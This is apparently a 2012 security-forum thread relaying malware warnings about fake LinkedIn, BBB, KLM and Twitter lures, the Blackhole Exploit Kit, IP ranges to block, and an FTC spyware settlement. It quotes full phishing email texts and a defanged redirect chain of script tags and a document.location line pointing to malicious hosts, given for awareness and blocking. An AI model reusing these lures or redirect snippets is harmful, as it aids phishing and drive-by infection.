* https://www.virustotal.com/file/877...2bd2a975bf543ea0505045b096a82068c93/analysis/
File name: b9126f7be02c682d7b1b534c928881a0aba6ae0c
Detection ratio: 25/42
Analysis date: 2012-09-16
** https://www.virustotal.com/file/4b9...7b19bb051e186318795e482d20650fa325b/analysis/
File name: test73608696665548.bin
Detection ratio: 16/42
Analysis date: 2012-09-13
*** https://www.virustotal.com/file/c6c...b218aa6edb936c4ac15b9367669c354b59a/analysis/
File name: readme.exe
Detection ratio: 6/42
Analysis date: 2012-09-14
___

New Malware Sites using Blackhole Exploit Kit v2.0
- https://blog.opendns.com/2012/09/18/new-malware-sites-using-blackhole-exploit-kit-v2-0/
Sep 18, 2012

 

[AplusWebMaster]

LinkedIn SPAM - Blackhole Exploit Kit v2.0...

FYI...

LinkedIn SPAM / 69.194.201.21
- http://blog.dynamoo.com/2012/09/linkedin-spam-6919420121.html
22 Sep 2012 - "This fake LinkedIn spam leads to malware on 69.194.201.21:
Date: Sat, 22 Sep 2012 15:16:47 -0500
From: "Reminder" [CC8504C0E@updownstudio.com]
Subject: LinkedIn: New messages awaiting your response
LinkedIn
REMINDERS
Invitation reminders:
From Emilio Byrd (Insurance Manager at Wolseley)
PENDING MESSAGES
There are a total of 88 message(-s) awaiting your response. Go to InBox now.
This message was sent to [redacted]. This is an occasional email to help you get the most out of LinkedIn.
Adjust your message settings.
LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.
2012, LinkedIn Corporation.
The malicious payload is at [donotclick]69.194.201.21 /links/deep_recover-result.php (Solar VPS, US) which appears to be a Blackhole 2 exploit kit. Blocking this IP address would be prudent."
___

Fake 'KLM e-Ticket' attempts to install backdoor
- http://community.websense.com/blogs...lm-e-ticket-attempts-to-install-backdoor.aspx
21 Sep 2012 - "... malicious zipped attachment..."
___

New Malware Sites using Blackhole Exploit Kit v2.0
- https://blog.opendns.com/2012/09/18/new-malware-sites-using-blackhole-exploit-kit-v2-0/
Sep 18, 2012

:fear:

 

[AplusWebMaster]

BBB malicious SPAM flood

FYI...

BBB malicious SPAM flood
- http://community.websense.com/blogs/securitylabs/archive/2012/09/24/bbb-malicious-spam-flood.aspx
24 Sep 2012 - "... another barrage of malicious BBB (Better Business Bureau) complaint notifications... Websense.. has detected and intercepted a marked increase in BBB malicious email this month... In an attempt to look authentic, the messages include an official graphic from the BBB Web site but, as is often the case with malicious email campaigns, they also include suspicious grammar: "about your company possible involvement in check cashing and Money Order Scam."
> http://community.websense.com/cfs-f...ogFiles/securitylabs/3288.BBB_2D00_Image1.png
... a number of different subjects have been utilized for this campaign, presumably in an attempt to thwart detection, including random "Complaint IDs"...
> http://community.websense.com/cfs-f...ylabs/3276.BBB_2D00_Image2.png_2D00_550x0.png
... As with other similar malicious campaigns with themes relating to ADP, Twitter, and LinkedIn, the techniques, tools and redirection path that are used are pretty much the same. Tools like the Cutwail spambot and Blackhole exploit kit seem to be the main weapons used by cybercriminals in malicious spam nowadays. Redirection paths:
1) hxxp ://vargasvilcolombia .com/PykKDZe/index.html
2)<html>
<h1>WAIT PLEASE</h1>
<h3>Loading...</h3>
<script type="text/javascript" src="hxxp ://pst.org .br/Wi4aFSLZ/js.js"></script>
<script type="text/javascript" src="hxxp ://www.adahali .com/NQ9Ba2ap/js.js"></script>
</html>
3) document.location='hxxp ://108.178.59.11 /links/deep_recover-result.php';
As is very common these days, the payload for this particular campaign is the recently updated BlackHole Exploit Kit v 2.0..."
___

BBB Spam / 108.178.59.11
- http://blog.dynamoo.com/2012/09/bbb-spam-1081785911.html
24 Sep 2012 - "... most likely a Blackhole 2 kit. This IP address has been used in other attacks and should be blocked if you can."

- http://centralops.net/co/DomainDossier.aspx
108.178.59.11
network:State: Italy
OriginAS: AS32475

- http://google.com/safebrowsing/diagnostic?site=AS:32475
"... over the past 90 days, 2949 site(s)... served content that resulted in malicious software being downloaded and installed without user consent. The last time Google tested a site on this network was on 2012-09-24, and the last time suspicious content was found was on 2012-09-24... we found 149 site(s)... that appeared to function as intermediaries for the infection of 375 other site(s)... We found 141 site(s)... that infected 838 other site(s)..."

 

[AplusWebMaster]

Twitter DMs from "friends" lead to backdoor Trojan...

FYI...

Twitter DMs from "friends" lead to backdoor Trojan
- http://nakedsecurity.sophos.com/2012/09/24/twitter-facebook-video-malware/
Sep 24, 2012 - "Have you received a Twitter message from an online friend, suggesting you have been captured in a Facebook video?... The aim of the messages? To trick the unwary into clicking on a link... and ultimately infect computers. Here is one example:
> https://sophosnews.files.wordpress.com/2012/09/twitter-hacked.jpg?w=640
... here's another. Note that there are many different combinations of wording that can be used.
> https://sophosnews.files.wordpress.com/2012/09/twitter-hacked-2.jpg?w=640
Users who click on the link are greeted with what appears to be a video player and a warning message that "An update to Youtube player is needed". The webpage continues to claim that it will install an update to Flash Player 10.1 onto your computer.
> https://sophosnews.files.wordpress.com/2012/09/video-malware.jpg?w=640
... In this example, the program you are being invited to download is called FlashPlayerV10.1.57.108.exe, and is detected by Sophos anti-virus products as Troj/Mdrop-EML, a backdoor Trojan that can also copy itself to accessible drives and network shares. Quite how users' Twitter accounts became compromised to send the malicious DMs in the first place isn't currently clear, but the attack underlines the importance of -not- automatically clicking on a link just because it appeared to be sent to you by a trusted friend. If you do find that it was your Twitter account sending out the messages, the sensible course of action is to assume the worst, change your password (make sure it is something unique, hard-to-guess and hard-to-crack) and revoke permissions of any suspicious applications that have access to your account."

 

[AplusWebMaster]

Multiple malware IP's to be blocked ...

FYI...

Evil network: 108.178.59.0/26
- http://blog.dynamoo.com/2012/09/evil-network-10817859026.html
25 Sep 2012 - "There's quite a bit of malware coming from a range of Singlehop IPs over the past few days. The range is 108.178.59.0/26 (108.178.59.0 - 108.178.59.63)
So far, I've seen blackhole samples from 108.178.59.20, 108.178.59.11 and 108.178.59.26 which is enough to convince me that the whole /26 is bad and should be blocked.
Singlehop have reallocated the IP range to a customer:
network: IP-Network: 108.178.59.0/26
network: State: Italy
network: Country-Code: IT ...
It's quite possible that Mr Coco doesn't know that the IP range is being abused in this way, but blocking access to it would be prudent..."

- http://centralops.net/co/DomainDossier.aspx
network: IP-Network: 108.178.59.0/26
network: State:Italy
network: Country-Code: IT
___

BBB SPAM / one.1000houses .biz
- http://blog.dynamoo.com/2012/09/bbb-spam-one1000housesbiz.html
25 Sep 2012 - "This fake BBB spam leads to malware at one.1000houses .biz:
Date: Tue, 25 Sep 2012 11:42:18 +0200
From: "Better.Business Bureau" [8050910@zread.com]
Subject: Activity Report
Dear business owner, we have received a complaint about your company possible involvement in check cashing and Money Order Scam.
You are asked to provide response to this complaint within 7 days.
Failure to provide the necessary information will result in downgrading your Better Business Bureau rating and possible cancellation of your BBB accreditation status.
Complaint ID#125368
Council of Better Business Bureaus
3033 Wilson Blvd, Suite 600
Arlington, VA 22201
Phone: 1 (703) 276.0100
Fax: 1 (703) 525.8277
The malicious payload is at [donotclick]one.1000houses .biz/links/deep_recover-result.php hosted on 199.195.116.185 (A2 Hosting, US). The domain 1000houses .biz appears to be a legitimate domain where the GoDaddy account has been hacked to serve malware on subdomains. There seems to be a long-standing issue with GoDaddy domains being used in this way.
Blocking 199.195.116.185 would probably be prudent..."

 

[AplusWebMaster]

FTC halts computer spying

FYI...

FTC halts computer spying
* http://www.ftc.gov/opa/2012/09/designware.shtm
09/25/2012

Rent-to-own laptops were spying on users
- http://h-online.com/-1717567
26 Sep 2012 - "The US Federal Trade Commission (FTC) has settled a case with several computer rent-to-own companies and a software maker over their use of a program which spied on as many as 420,000 users of the computers. The terms of the settlement* will ban the companies from using monitoring software, deceiving customers into giving up information or using geo-location to track users. "The FTC orders today will put an end to their cyber spying" said Jon Leobowitz, FTC Chairman. The software for rental companies from DesignerWare included a "Detective Mode", a spyware application that, according to the FTC's complaint, could activate the webcam of a laptop and take pictures and log keystrokes of user activity. The software also regularly presented a fake registration screen designed to trick users into entering personal information. The data from this application was then transmitted to DesignerWare where it was then passed on to the rent-to-own companies... The FTC is limited in its actions, telling Wired**, "We don't have criminal authority. We only have civil authority" and, as this was a first violation of the FTC act, it cannot impose fines on the companies. Instead, the companies will be monitored by the FTC for compliance with the ban on using the software, or, in the case of DesignerWare, licensing it, for the next 20 years..."
** http://www.wired.com/threatlevel/2012/09/laptop-rental-spyware-scandal/